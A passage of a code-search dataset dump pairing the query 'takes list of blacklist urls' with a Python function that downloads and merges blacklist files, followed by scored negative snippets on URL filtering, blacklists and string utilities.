add[alphabet.index(prev_char),\\n alphabet.index(s2[j-1])]\\n m[0, j] = j\\n for i in range(1, 1+len(s1)):\\n for j in range(1, len(s2)+1):\\n if s1[i-1] == s2[j-1]:\\n k = np.argmin([m[i-1, j] + 1, m[i, j-1] + 1, m[i-1, j-1]])\\n if k == 0:\\n # deletion\\n m[i, j] = m[i-1, j] + 1\\n prev_char = '@' if j == 1 else s2[j-2]\\n p[i, j] = p[i-1, j] * dele[alphabet.index(prev_char), alphabet.index(s1[i-1])]\\n elif k == 1:\\n # insertion\\n m[i, j] = m[i, j-1] + 1\\n prev_char = '@' if j == 1 else s2[j-2]\\n p[i, j] = p[i, j-1] * add[alphabet.index(prev_char), alphabet.index(s2[j-1])]\\n else:\\n # no mistake\\n m[i, j] = m[i-1, j-1]\\n p[i, j] = p[i-1, j-1]\\n else:\\n k = np.argmin([m[i-1, j] + 1, m[i, j-1] + 1, m[i-1, j-1] + 1])\\n if k == 0:\\n # deletion\\n m[i, j] = m[i-1, j] + 1\\n prev_char = '@' if j == 1 else s2[j-2]\\n p[i, j] = p[i-1, j] * dele[alphabet.index(prev_char), alphabet.index(s1[i-1])]\\n elif k == 1:\\n # insertion\\n m[i, j] = m[i, j-1] + 1\\n prev_char = '@' if j == 1 else s2[j-2]\\n p[i, j] = p[i, j-1] * add[alphabet.index(prev_char), alphabet.index(s2[j-1])]\\n else:\\n # substitution\\n m[i, j] = m[i-1, j-1] + 1\\n p[i, j] = p[i-1, j-1] * sub[alphabet.index(s1[i-1]), alphabet.index(s2[j-1])]\\n # recall that in sub[X, Y], Y is the correct word\\n\\n return m[len(s1), len(s2)], p[len(s1), len(s2)]\",\n \"def str_equals(a, b):\\n al = len(a)\\n bl = len(b)\\n match = True\\n for i in range(0, min(al, bl)):\\n match &= a[i] == b[i]\\n return match\",\n \"def assertMultiLineEqual(self, first, second, msg=None):\\n self.assertTrue(isinstance(first, str),\\n 'First argument is not a string')\\n self.assertTrue(isinstance(second, str),\\n 'Second argument is not a string')\\n\\n if first != second:\\n message = ''.join(difflib.ndiff(first.splitlines(True),\\n second.splitlines(True)))\\n if msg:\\n message += \\\" : \\\" + msg\\n self.fail(\\\"Multi-line strings are unequal:\\\\n\\\" + message)\",\n \"def compatible(pattern1, pattern2, direction):\\n if direction == 0:\\n return pattern1[:-1] == pattern2[1:]\\n if direction == 2:\\n return [line[:-1] for line in pattern1] == [line[1:] for line in pattern2]\",\n \"def strSeq_uniquify(strSeq,connector='_'):\\n\\n fm=\\\"{}\\\"+connector+\\\"{}\\\"\\n\\n new_strSeq = []\\n for item in strSeq:\\n counter = 0\\n newitem = item\\n while newitem in new_strSeq:\\n counter += 1\\n newitem = fm.format(item, counter-1)\\n new_strSeq.append(newitem)\\n\\n return new_strSeq\",\n \"def test_sub_with_list(self):\\n m = strutils.MultiReplace([\\n (r'cat', 'kedi'),\\n (r'purple', 'mor'),\\n (r'q\\\\w+?t', 'dinglehopper'),\\n ], regex=True)\\n self.assertEqual(\\n m.sub('The purple cat ate a quart of jelly'),\\n 'The mor kedi ate a dinglehopper of jelly'\\n )\",\n \"def distance(str1, str2):\\n return sum(c1 != c2 for c1, c2 in izip(str1, str2))\",\n \"def test_combine_multiple(self):\\n inv_search = 'author:\\\"gattringer, c*\\\" keyword:chiral keyword:symmetry -title:chiral'\\n spi_search = \\\"find a c gattringer and k chiral symmetry and not title chiral\\\"\\n self._compare_searches(inv_search, spi_search)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7173412","0.6422844","0.60554993","0.6048219","0.6048219","0.6022853","0.5894127","0.5861843","0.5823711","0.581837","0.5812351","0.58081526","0.57986295","0.5772496","0.57496095","0.57384884","0.57264704","0.5713561","0.57001203","0.5696666","0.56767195","0.5668574","0.56647426","0.5653917","0.56538284","0.5622861","0.56220543","0.5615955","0.55908465","0.55731434","0.55696106","0.5544083","0.5539561","0.5517922","0.5509443","0.5490756","0.54830945","0.5466896","0.5460122","0.5429914","0.54281515","0.53989935","0.53989935","0.53979665","0.5371113","0.5370802","0.53682935","0.53549033","0.5345581","0.53339","0.53245157","0.5322399","0.5319564","0.5315291","0.5301985","0.52987516","0.52962023","0.5289345","0.5283058","0.528173","0.5279915","0.52642155","0.5255673","0.5248826","0.5244705","0.52344376","0.5189152","0.51860005","0.5180238","0.51657164","0.5162835","0.5152398","0.5148298","0.51467335","0.51457846","0.514191","0.5138204","0.5118886","0.51181567","0.51173854","0.51132154","0.50969774","0.5096151","0.5095521","0.50943744","0.5092217","0.5086778","0.508401","0.50833094","0.508178","0.5080971","0.50762147","0.50744474","0.5074366","0.5074143","0.5065804","0.50624496","0.5062396","0.5060711","0.5055312","0.5052091"],"string":"[\n \"0.7173412\",\n \"0.6422844\",\n \"0.60554993\",\n \"0.6048219\",\n \"0.6048219\",\n \"0.6022853\",\n \"0.5894127\",\n \"0.5861843\",\n \"0.5823711\",\n \"0.581837\",\n \"0.5812351\",\n \"0.58081526\",\n \"0.57986295\",\n \"0.5772496\",\n \"0.57496095\",\n \"0.57384884\",\n \"0.57264704\",\n \"0.5713561\",\n \"0.57001203\",\n \"0.5696666\",\n \"0.56767195\",\n \"0.5668574\",\n \"0.56647426\",\n \"0.5653917\",\n \"0.56538284\",\n \"0.5622861\",\n \"0.56220543\",\n \"0.5615955\",\n \"0.55908465\",\n \"0.55731434\",\n \"0.55696106\",\n \"0.5544083\",\n \"0.5539561\",\n \"0.5517922\",\n \"0.5509443\",\n \"0.5490756\",\n \"0.54830945\",\n \"0.5466896\",\n \"0.5460122\",\n \"0.5429914\",\n \"0.54281515\",\n \"0.53989935\",\n \"0.53989935\",\n \"0.53979665\",\n \"0.5371113\",\n \"0.5370802\",\n \"0.53682935\",\n \"0.53549033\",\n \"0.5345581\",\n \"0.53339\",\n \"0.53245157\",\n \"0.5322399\",\n \"0.5319564\",\n \"0.5315291\",\n \"0.5301985\",\n \"0.52987516\",\n \"0.52962023\",\n \"0.5289345\",\n \"0.5283058\",\n \"0.528173\",\n \"0.5279915\",\n \"0.52642155\",\n \"0.5255673\",\n \"0.5248826\",\n \"0.5244705\",\n \"0.52344376\",\n \"0.5189152\",\n \"0.51860005\",\n \"0.5180238\",\n \"0.51657164\",\n \"0.5162835\",\n \"0.5152398\",\n \"0.5148298\",\n \"0.51467335\",\n \"0.51457846\",\n \"0.514191\",\n \"0.5138204\",\n \"0.5118886\",\n \"0.51181567\",\n \"0.51173854\",\n \"0.51132154\",\n \"0.50969774\",\n \"0.5096151\",\n \"0.5095521\",\n \"0.50943744\",\n \"0.5092217\",\n \"0.5086778\",\n \"0.508401\",\n \"0.50833094\",\n \"0.508178\",\n \"0.5080971\",\n \"0.50762147\",\n \"0.50744474\",\n \"0.5074366\",\n \"0.5074143\",\n \"0.5065804\",\n \"0.50624496\",\n \"0.5062396\",\n \"0.5060711\",\n \"0.5055312\",\n \"0.5052091\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":80097,"cells":{"query":{"kind":"string","value":"takes list of blacklist urls"},"document":{"kind":"string","value":"def load_blacklists(self, blacklist_urls: List[str]) -> Set[str]:\n items: Set[str] = set()\n sets = []\n for url in blacklist_urls:\n fname = f'/tmp/{hashlib.md5(url.encode()).hexdigest()}-blacklist'\n # Download if necessary\n if not os.path.exists(fname):\n log.debug(f'Downloading {url} -> {fname}')\n urlretrieve(url, fname)\n\n fset = set(line.strip() for line in open(fname))\n log.debug(f'Got {len(fset)} records from \\t {url}')\n sets.append(fset)\n\n log.debug(f'Total: {sum(len(s) for s in sets)} records')\n items = items.union(*sets)\n log.debug(f'Aggregated into {len(items)} records')\n return items"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def handle_weblists(bot, ievent):\n ievent.reply(\"whitelist: %s blacklist: %s\" % (cfg.get('whitelist'), \\\ncfg.get('blacklist')))","def find_target_urls(url_list):\n candidate_urls = []\n \n #iterate through urls\n for url in get_urls(get_clean_text(message_list)):\n #skip any urls from our 33mail mask domain\n if re.findall('33mail', url):\n pass\n #return everything else\n else:\n candidate_urls.append(url)\n return candidate_urls","def get_clean_urls(text_list, list_to_exclude=['twitter']):\n ans_ls = []\n for x in text_list:\n rex = re.findall(\n '(?:http:|https:)\\/\\/.*\\/.*?(?:\\.cms|\\.[a-zA-Z]*|\\/[a-zA-Z0-9-\\ ]+[a-zA-z0-9])', x[1])\n for rx in rex:\n if rx and not any(z in rx for z in\n list_to_exclude) and not rx == 'http://' and not rx == 'https://' and not rx.endswith(\n '.') and 't.c' not in rx:\n if '\\xa0' in x[1]:\n for y in x[1].split('\\xa0'):\n # print(x[0],y)\n ans_ls.append((x[0], y.replace(' ', '')))\n elif '@' in x[1]:\n ans_ls.append((x[0], y.split('@')[0].replace(' ', '')))\n\n else:\n ans_ls.append((x[0], x[1].replace(' ', '')))\n return (ans_ls)","def blacklist_ips(self):\r\n if self.blacklist == '':\r\n return []\r\n return self.IPFilterList([addr.strip() for addr in self.blacklist.split(',')]) # pylint: disable=no-member\r","def filter_captured_urls(urls_files, url_list_file):\n captured_urls = load_captured_urls(url_list_file)\n \n to_capture = list(filter(lambda d: d['url'] not in captured_urls, urls_files))\n \n return to_capture","def validate_file_blacklist(blacklist):\n valid_values = [\n # 'checkpoint',\n \"description\",\n \"heartbeat\",\n \"predictions_holdout\",\n \"predictions_in_fold\",\n \"predictions_oof\",\n \"predictions_test\",\n \"script_backup\",\n \"tested_keys\",\n \"current_heartbeat\",\n ]\n if blacklist == \"ALL\":\n G.warn('WARNING: Received `blacklist`=\"ALL\". Nothing will be saved')\n return blacklist\n\n if not blacklist:\n return []\n elif not isinstance(blacklist, list):\n raise TypeError(\"Expected blacklist to be a list, not: {}\".format(blacklist))\n elif not all([isinstance(_, str) for _ in blacklist]):\n invalid_files = [(type(_).__name__, _) for _ in blacklist if not isinstance(_, str)]\n raise TypeError(\"Expected blacklist contents to be strings, not: {}\".format(invalid_files))\n\n for a_file in blacklist:\n if a_file not in valid_values:\n raise ValueError(f\"Invalid blacklist value: {a_file}.\\nExpected one of: {valid_values}\")\n if a_file in [\"description\", \"tested_keys\"]:\n G.warn(f\"Including {a_file!r} in blacklist will severely impede library functionality\")\n\n # Blacklist experiment-specific heartbeat if general (current) heartbeat is blacklisted\n if (\"current_heartbeat\" in blacklist) and (\"heartbeat\" not in blacklist):\n blacklist.append(\"heartbeat\")\n\n return blacklist","def get_urls(url_list='urls.blur'):\n with open(os.path.join('..', 'data', url_list), 'r') as f:\n urls = [tuple(line.split('\\t')) for line in f.read().split('\\n') \n if line and line[0] != '#']\n return urls","def blacklist(self) -> List[str]:\n return self.raw_config.get(\"blacklist\", [])","def _filter_url_list(self, regex_pattern: str) -> None:\n matcher = re.compile(regex_pattern)\n filtered_list = []\n if self.url_list:\n for url in self.url_list:\n if matcher.search(url.url):\n filtered_list.append(url)\n self.url_list = filtered_list","def urls(self) -> list[str]:\r\n ...","def is_blacklisted(self, url):\n return urlparse.urlsplit(url).netloc in URLFinder.BLACKLIST_DOMAINS","def getBlackList(filename):\n #filename = \"filelist/blacklist_%s.txt\"%dataset.lstrip('/').replace('/','__')\n blacklist = [ ]\n if os.path.exists(filename):\n with open(filename,'r') as file:\n for line in file:\n line = line.rstrip('\\n')\n if line and '#' not in line:\n blacklist.append(line)\n return blacklist","def ignore_listings(name_key):\n # for blacklist_str in models_blacklist:\n # if blacklist_str in name_key:\n # return True\n return False","def remove_urls(lista_tweets):\n\n novos_tweets = []\n\n for tweet in lista_tweets:\n texto = re.sub(r\"http\\S+\", \"\", tweet[\"text\"])\n novos_tweets.append(texto)\n\n return novos_tweets","def short_whitelist(whitelist):\n for x in [\"guid-4\", \"guid-5\"]:\n whitelist.remove(x)\n return whitelist","def remove_blacklisted(blacklist, ssc, output_dir):\n print('[INFO] Writing blacklisted corpus to {}...'.format(output_dir))\n # assuming there is only 1 SSC, so take index 0\n ssc_filepaths = list(get_filepaths(ssc))[0]\n # for faster lookup\n blacklist = set(blacklist)\n for filepath in ssc_filepaths:\n with open(filepath, 'r') as f:\n # remove blacklisted entities\n lines = f.readlines()\n for i in range(1, len(lines) - 1):\n previous_tag = 'O' if lines[i-1] == '\\n' else lines[i-1].strip().split('\\t')[1]\n next_tag = 'O' if lines[i+1] == '\\n' else lines[i+1].strip().split('\\t')[1]\n single_token_entity = (previous_tag != 'I-' and next_tag != 'I-')\n blacklisted = tuple(lines[i].strip().split('\\t')) in blacklist\n if single_token_entity and blacklisted:\n lines[i] = '{}\\tO\\n'.format(lines[i].split('\\t')[0])\n # write blacklisted copy to disk\n corpus_name = os.path.basename(ssc) + '_blacklisted'\n output_directory = os.path.join(output_dir, corpus_name)\n make_dir(output_directory)\n output_filepath = os.path.join(output_directory, os.path.basename(filepath))\n with open(output_filepath, 'w') as f:\n for line in lines:\n f.write(line)","def set_blacklist(self):\n\n for name in self.__ipset:\n if self.verbose:\n print(\"Start create: \" + self.__ipset[name]['ipset-name'])\n\n # create ipset\n self.__process(name, self.__parser.create(name))\n\n if self.verbose:\n print('Done')","def filter_watch_only(_list):\n result = list()\n pattern = compile('^(https?\\:\\/\\/)?((www\\.)?youtube\\.com|youtu\\.?be)\\/watch.+$')\n for href in _list:\n if href == 'https://www.youtube.com/watch?v=4wb1RfnnqdY': # Hard code remove naked cooking\n continue\n if type(href) is str and pattern.match(href):\n result.append(href)\n return result","def _filter_return_url_from_list(self, paths, har=None):\r\n if not har:\r\n har = self.har\r\n \r\n matches = []\r\n for entry in har[\"log\"][\"entries\"]:\r\n for path in paths:\r\n if path in entry[\"request\"][\"url\"]:\r\n temp = entry[\"request\"][\"url\"].encode('ascii', 'ignore')\r\n matches.append(temp)\r\n return matches","def get_urls():\r\n return []","def blacklistSource(self, source):\n log.info(\"blacklisting \" + source)\n if source not in GameConsole.blacklistedSources:\n GameConsole.blacklistedSources.append(source)","def blacklist_file(self, fkey):\n self.blacklist.update([fkey])","def build_end_url_list(url):\n http_types = [\"http://\", \"https://\"]\n dub_types = [\"www.\", \"\"] # this order needs to preserved for testing at www.hgdatascience.com\n http_dub_urls = [\"{}{}{}\".format(h_type, dub_type, url) for dub_type in dub_types for h_type in http_types]\n return http_dub_urls","def get_urls(path):\n urls = []\n with open(path, 'rb') as f:\n urls = [x.strip() for x in f.readlines()]\n\n # Prune urls that are not working\n goodUrls = []\n badUrls = []\n for url in urls:\n if prescreenUrl(url):\n print \"PASS prescreen: \" + str(url)\n goodUrls.append(url)\n else:\n print \"FAIL prescreen: \" + str(url)\n badUrls.append(url)\n\n with open('bad_urls', 'wb') as f:\n f.write('\\n'.join(badUrls))\n f.close()\n\n with open(path, 'wb') as f:\n f.write('\\n'.join(goodUrls))\n f.close()\n\n return goodUrls","def test_blacklist(self):\n ts = self.ts_db\n fc1 = self.field_change1\n fc2 = self.field_change2\n fc3 = self.field_change3\n fc4 = self.field_change4\n\n valid = blacklist.filter_by_benchmark_name(ts, fc1)\n self.assertTrue(valid, \"Expect this to not be filtered.\")\n valid = blacklist.filter_by_benchmark_name(ts, fc2)\n self.assertTrue(valid, \"Expect this to not be filtered.\")\n bad = blacklist.filter_by_benchmark_name(ts, fc3)\n self.assertFalse(bad, \"Expect this to be filtered by regex.\")\n bad = blacklist.filter_by_benchmark_name(ts, fc4)\n self.assertFalse(bad, \"Expect this to be filtered by blacklist.\")","def _parse_blacklist(path):\n if path is None:\n return []\n with open(path, 'rt') as f:\n return [line.strip() for line in f]","def import_urls(self, url_list, target_id=None):\n imported_urls = []\n for url in url_list:\n if self.is_url(url):\n imported_urls.append(url)\n self.db.session.merge(models.Url(url=url, target_id=target_id))\n self.db.session.commit()\n return imported_urls # Return imported urls","def build_blacklist(blacklists):\n\n if blacklists is None:\n xbt = pbt.BedTool('', from_string=True)\n\n else:\n xlist = [x for s in blacklists for x in s]\n n_bl = len(xlist)\n if n_bl == 0:\n xbt = pbt.BedTool()\n elif n_bl == 1:\n xbt = pbt.BedTool(xlist[0])\n else:\n xbt = pbt.BedTool(xlist[0]).\\\n cat(*[pbt.BedTool(bl) for bl in xlist[1:]])\n\n xbt = xbt.sort().merge().saveas()\n\n return xbt","def remove_blacklist(remit, source, commands):\n blacklisted_commands = list()\n for config in spec.BLACKLIST:\n command = make_command(remit=remit,\n source=source,\n writer=config['writer'],\n pandoc_options=config['pandoc_options'],\n extension=config['extension'])\n blacklisted_commands.append(command)\n commands = [command for command in commands\n if command not in blacklisted_commands]\n return commands","def open_blacklist(filepath):\n with open(filepath, 'r') as f:\n blacklist = [tuple(line.strip().split('\\t')) for line in f.readlines()]\n return blacklist","def save_blacklist(blacklist, output_dir):\n output_filepath = os.path.join(output_dir, 'blacklist.txt')\n print('[INFO] Writing blacklist to {}...'.format(output_filepath))\n with open(output_filepath, 'w') as f:\n for ent in blacklist:\n f.write('{}\\t{}\\n'.format(ent[0], ent[1]))","def extract_book_patterns(pattern_urls, practical_group, book_nr):\n return list(filter(lambda url: f\"{practical_group}_{book_nr}\" in url, pattern_urls))","def url_decode(self, url_list: list) -> dict:\n data = {\"urls\": url_list}\n return self.http_request(\"POST\", '/url/decode', data=data)","def codeup_blog_urls():\n \n url1 = 'https://codeup.com/codeup-news/codeup-launches-first-podcast-hire-tech/' \n\n url2 ='https://codeup.com/tips-for-prospective-students/why-should-i-become-a-system-administrator/'\n \n url3 ='https://codeup.com/codeup-news/codeup-candidate-for-accreditation/'\n \n url4 ='https://codeup.com/codeup-news/codeup-takes-over-more-of-the-historic-vogue-building/'\n \n url5 ='https://codeup.com/codeup-news/inclusion-at-codeup-during-pride-month-and-always/'\n \n return [url1, url2, url3, url4, url5]","def getURLs():","def handle_webdefaultdeny(bot, ievent):\n cfg.set('whitelistenable', 1)\n ievent.reply('ok')","def filter_blacklisted_recipients(addresses):\n if type(addresses) is str:\n addr = parseaddr(addresses)[1]\n if not BlacklistedEmail.objects.filter(email=addr).exists():\n return addresses\n return []\n if type(addresses) is list:\n filtered_addresses = []\n for recipient in addresses:\n addr = parseaddr(recipient)[1]\n logger.debug(f\"Address in check for blacklist: {addr}\")\n if BlacklistedEmail.objects.filter(email=addr).exists():\n continue\n filtered_addresses.append(recipient)\n return filtered_addresses","def _filter_duplicate_urls(urls: list) -> set:\n clean_urls = set()\n for url in urls:\n cleaned_url = url.split(\"&sa=U\")[0]\n clean_urls.add(cleaned_url)\n return clean_urls","def unblock_list(blocked_ips_list, to_block_list):\n to_be_unblocked_list = []\n for blocked in blocked_ips_list:\n found_ip = False\n blocked_ip = blocked['ip']\n for host in to_block_list:\n if host['host']['ip_address'] == blocked_ip:\n found_ip = True\n # if the blocked_ip was not found in list of blockings, unblock it\n if not found_ip:\n to_be_unblocked_list.append(blocked_ip)\n return to_be_unblocked_list","def blacklist_remove():\n db = unitdata.kv()\n blacklist = db.get(BLACKLIST_KEY, [])\n for device in get_devices():\n try:\n blacklist.remove(device)\n except ValueError:\n raise Error('{}: Device not in blacklist.'.format(device))\n db.set(BLACKLIST_KEY, blacklist)\n db.flush()","def _get_blacklist(self):\n blacklist = {}\n for b in TransifexBlacklist.objects.filter(domain=self.app.domain, app_id=self.app.id).all():\n blacklist.setdefault(b.domain, {})\n blacklist[b.domain].setdefault(b.app_id, {})\n blacklist[b.domain][b.app_id].setdefault(b.module_id, {})\n blacklist[b.domain][b.app_id][b.module_id].setdefault(b.field_type, {})\n blacklist[b.domain][b.app_id][b.module_id][b.field_type].setdefault(b.field_name, {})\n blacklist[b.domain][b.app_id][b.module_id][b.field_type][b.field_name][b.display_text] = True\n return blacklist","def find_urls(r):\n http_match = re.findall(r'https:\\/\\/[\\w\\/?=.-]+', r)\n url_list = []\n if http_match:\n for match in http_match:\n if match not in url_list:\n url_list.append(match)\n return url_list","def matchWildcardUrls(url, listOfUrls):\n if not url or not listOfUrls:\n return None\n pattern = re.compile('^[a-zA-Z][+a-zA-Z0-9.-]*:.*')\n if not pattern.search(str(url)) and not url.startswith('//'):\n url = '//' + url\n cspUrl = urlparse(str(url)) \n host = cspUrl.netloc.lower() or \"\"\n hostHasWildcard = host.startswith(\"*.\")\n wildcardFreeHost = re.sub(\"^\\*\", \"\", host, flags=re.IGNORECASE)\n path = cspUrl.path or ''\n hasPath = len(cspUrl.path) > 0 \n\n for url2 in listOfUrls:\n url = urlparse(str(url2))\n domain = url.netloc.lower() or \"\"\n domainHasWildCard = domain.startswith(\"*.\")\n if (not domainHasWildCard):\n if (not domain.endswith(wildcardFreeHost) ): \n continue\n if (not hostHasWildcard and host != domain):\n continue\n else:\n domainparts = list(reversed(domain.split('.')))\n hostparts = list(reversed(host.split('.')))\n stop = False\n domainlen = len(domain.split('.'))\n hostlen = len(host.split('.'))\n \n for idx, domainpart in enumerate(domainparts):\n if idx < hostlen:\n hostpart = hostparts[idx]\n if hostpart != domainpart and (domainpart != '*' and hostpart != '*'):\n stop = True\n if stop:\n continue\n if (hasPath):\n if (path.endswith('/')): \n if (not url.path.startswith(path)):\n continue\n elif (url.path != path):\n continue\n\n return url\n\n return None","def remove_unreachable_urls(list_of_urls):\n list_of_reachable_url = []\n for url in list_of_urls:\n try:\n f = requests.get(url)\n print('\\t',url, 'status_code:', f.status_code)\n list_of_reachable_url.append(url)\n except:\n print('\\t',url, 'not reachable -- > removed')\n\n return list_of_reachable_url","def blacklist_add():\n db = unitdata.kv()\n blacklist = db.get(BLACKLIST_KEY, [])\n for device in get_devices():\n if not os.path.exists(device):\n raise Error('{}: No such file or directory.'.format(device))\n if device not in blacklist:\n blacklist.append(device)\n db.set(BLACKLIST_KEY, blacklist)\n db.flush()","def get_urls(inputfiles):\n urls = []\n scheme_rgx = re.compile(r'^https?://')\n for ifile in inputfiles:\n urls.append(ifile.read().splitlines())\n urls = set([n for l in urls for n in l])\n urls = list(filter(None, urls))\n for i in range(len(urls)):\n if not scheme_rgx.match(urls[i]):\n urls[i] = 'http://' + urls[i]\n return urls","def filter_out_bans(mappings, bans):\n new_mappings = []\n for mapping in mappings:\n for ban in bans:\n if fnmatch.fnmatch(mapping.pattern, ban):\n break\n else:\n new_mappings.append(mapping)\n return new_mappings","def mergeURLS(inputs):\n urls = set()\n for i in inputs:\n # Re-raise any exceptions\n try:\n urls = urls.union(i.urls())\n except:\n raise\n return urls","def is_blacklisted(self):\r\n \r\n in_blacklist = False \r\n if self.chrompos in parser.blacklist:\r\n in_blacklist = True\r\n \r\n return in_blacklist","def load_url_list(url_list_file):\n url_list = []\n with open(url_list_file, 'r') as f:\n for eachline in f:\n eachline = eachline.rstrip('\\n')\n parts = eachline.split('\\t')\n domain, script_url = parts\n url_list.append((domain, script_url))\n\n return url_list","def list_blacklist_by_type(event, context):\n blacklist_type = str(event['pathParameters']['id'])\n\n table = dynamodb.Table(os.environ['BLACKLIST_TABLE'])\n result = table.scan(\n FilterExpression=Attr('type').eq(blacklist_type)\n )\n error_type = None\n error_msg = \"\"\n response = {\n 'statusCode': 200,\n 'body': json.dumps({\n 'items': [r['text_pattern'] for r in result['Items']],\n 'num_items': len(result['Items']),\n 'message': error_msg,\n 'error_type': error_type\n })\n }\n log.debug(response)\n\n return response","def removeurl(wordlist):\n newlist=[]\n for w in wordlist:\n phrases=str(w[0]).split()\n for phrase in phrases:\n if(phrase.startswith('http') is True):\n phrase=\"\"\n newlist.append((phrases,w[1])) \n return newlist","def remove(self, urls):\n path = \"authSettings/exemptedUrls?action=REMOVE_FROM_LIST\"\n return self._session.post(path, urls)","def __clean_url(links_titles):\n clean_urls = []\n for url, title, flag in links_titles:\n duplicates_words = []\n unique_words = []\n for word in str(url).rstrip('/').split('/'):\n if word not in unique_words:\n unique_words.append(word)\n else:\n if word not in duplicates_words:\n duplicates_words.append(word)\n url = str(url).replace(word+'/', '', 1)\n clean_urls.append((url, title, flag))\n return clean_urls","def read_blacklist(self, _blacklist_fname):\n try:\n blacklist_f = codecs.open(_blacklist_fname, mode='r', encoding='utf-8')\n line_idx = 0\n for fline in blacklist_f:\n line_idx = line_idx + 1\n line = fline.strip()\n if ((len(line) > 0) and (line[0] != '#')):\n # non null and not started # line ... add to the set\n if (line in self.__black_list_set):\n print u'duplication found [' + line + u'] at ' + str(line_idx) + \\\n u' ignored'\n else:\n self.__black_list_set.add(line)\n\n print u'read blacklist_file [' + _blacklist_fname + \\\n u'], number of entries: ' + str(len(self.__black_list_set))\n except IOError as e:\n print \"I/O error({0}): {1}\".format(e.errno, e.strerror)\n print \"Can not open a blacklist file {0}\".format(_blacklist_fname)\n print \"Please create blacklist file (an empty file is also fine.)\"\n sys.exit(1)\n except:\n print \"Unexpected error:\", sys.exc_info()[0]\n raise","def _urls(*, repository, commit, mirrors):\n result_with_nulls = [\n _format_url(\n pattern = x,\n repository = repository,\n commit = commit,\n )\n for x in mirrors.get(\"github\")\n ]\n return [\n url\n for url in result_with_nulls\n if url != None\n ]","def sanitize_urls(self, urls):\n\n absolute_and_relative = [item for item in urls if item.startswith('http') or item.startswith(r'/')]\n clean_links = []\n\n # Make relative urls absolute\n for item in absolute_and_relative:\n if item.startswith(r'/'):\n item = urljoin(self.site_url, item)\n clean_links.append(item)\n\n else:\n clean_links.append(item)\n\n clean_links = [link for link in clean_links if 'localhost' not in urlparse(item).hostname]\n return clean_links","def test_url_pattern(self):\n\t\turl = URLFilter()\n\t\turl.set_limit(\"goog*\")\n\t\tself.assertTrue(url.check(Object(get_urls=lambda: ['google.com'])))","def get_federation_iprange_blacklist(self):\n blacklist = self.charm_config[\"federation-ip-range-blacklist\"]\n return list(filter(None, blacklist.split(\",\")))","def inshorts_urls():\n\n url1 = 'https://inshorts.com/en/read/business'\n url2 = 'https://inshorts.com/en/read/sports'\n url3 = 'https://inshorts.com/en/read/technology'\n url4 = 'https://inshorts.com/en/read/entertainment'\n return [url1, url2, url3, url4]","def create_url_rules(self):\n return []","def get_url():\n urls = re.findall('http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+',\n new_tweet)\n return urls","def site_patterns(*args):\n pattern_list = args\n return [SiteRegexURLResolver('', pattern_list)]","def blacklist_token(token):\n\n refresh_token = RefreshToken(token)\n refresh_token.blacklist()","def clean(self, urls: List[str]) -> List[str]:\n subdomains = []\n regexp = re.compile(r'(.+://)?(?P<subdomain>(.+)\\.{domain})([/?].*)?'.format(domain=self.domain))\n for url in urls:\n match = regexp.match(url)\n if match and match.group('subdomain'):\n subdomains.append(match.group('subdomain'))\n return subdomains","def getUrls(url):\n f = requests.get(url)\n p = MyParser()\n p.feed(f.text)\n list_of_urls = p.output_list\n #deal with possible strange None values\n list_of_urls = [url for url in list_of_urls if url is not None]\n for url in list_of_urls:\n if 'http' not in url: list_of_urls.remove(url)\n return list_of_urls","def test_remove_from_blacklist_with_string(self):\n email = 'example@example.com'\n self.feature_test.add_to_blacklist(email)\n self.feature_test.remove_from_blacklist(email)\n self.assertFalse(email in Feature(\"testing\").blacklist)","def clean_urls(self, tweet):\n self.urls = re.findall(self.regexpForURLs, tweet)\n\n for url in self.urls:\n tweet = tweet.replace(url, '')\n\n tweet = self.clean_unnecessary_whitespaces(tweet)\n return tweet","async def add_blacklist(self, ctx, user: discord.Member):\r\n if user.id not in self.settings['blacklist']:\r\n try:\r\n self.settings['blacklist'].append(user.id)\r\n await ctx.send(\"User blacklisted.\")\r\n except:\r\n await ctx.send(\"An error occured.\")\r\n else:\r\n await ctx.send(\"User already blacklisted.\")","def prepare_blacklist(src, dst, duration=3600):\n \n json = {}\n end_point1 = {'name': '', 'address_mode': 'address',\n 'ip_network': src}\n end_point2 = {'name': '', 'address_mode': 'address',\n 'ip_network': dst}\n json.update(duration=duration)\n json.update(end_point1=end_point1)\n json.update(end_point2=end_point2)\n return json","def ban_all():\n sudo(\"varnishadm 'ban req.url ~ .'\")","def load_captured_urls(url_list):\n if gs.local:\n result = load_captured_urls_local(url_list)\n else:\n result = load_captured_urls_aws(url_list)\n return result","def load_blocked_groups(self):\n print(\" ->[*] Loading group blacklist...\")\n blacklist = set()\n if os.access(\"blocked_groups\", os.F_OK):\n with codecs.open(\"blocked_groups\", \"r\", encoding=\"utf-8\") as groups:\n blocked_groups = groups.readlines()\n for group in blocked_groups:\n blacklist.add(group)\n return blacklist","def ReadBlackListFile(BlackListFile):\n blacklist = []\n if os.path.isfile(BlackListFile):\n with open(BlackListFile, 'r') as filecontent:\n for line in filecontent:\n #(chrom1, start1, chrom2, start2) = line.rstrip().split(\"\\t\")\n blacklist.append(line)\n return(blacklist)","def filter_substitution_image_links(links):\n return [link for link in links if '{' not in link]","def not_blacklisted_channel(blacklist):\n async def predicate(ctx):\n channel = ctx.message.channel\n server = bot.get_guild(SERVER_ID)\n for c in blacklist:\n if channel == discord.utils.get(server.text_channels, name=c):\n raise CommandNotAllowedInChannel(channel, \"Command was invoked in a blacklisted channel.\")\n return True\n \n return commands.check(predicate)","def remove_urls(text):\n pass","def parse_url_files():\n a_copy = PY_FILES[::]\n for f in a_copy:\n if 'urls' in f:\n URL_FILES.append(f)\n PY_FILES.remove(f)","def extract_brand_names(brand_name_urls):\n from debra.models import Brands\n\n # stripping urls, fetching their domains\n brand_name_urls = [url.strip() for url in brand_name_urls if len(url) > 0]\n if not brand_name_urls:\n return []\n\n brand_domains = [domain_from_url(url) for url in brand_name_urls if len(url) > 0]\n\n t1 = time.time()\n\n queries = [Q(domain_name=value) for value in brand_domains] + [Q(name=value.upper()) for value in brand_name_urls]\n\n query = queries.pop()\n\n for item in queries:\n query |= item\n\n brands = 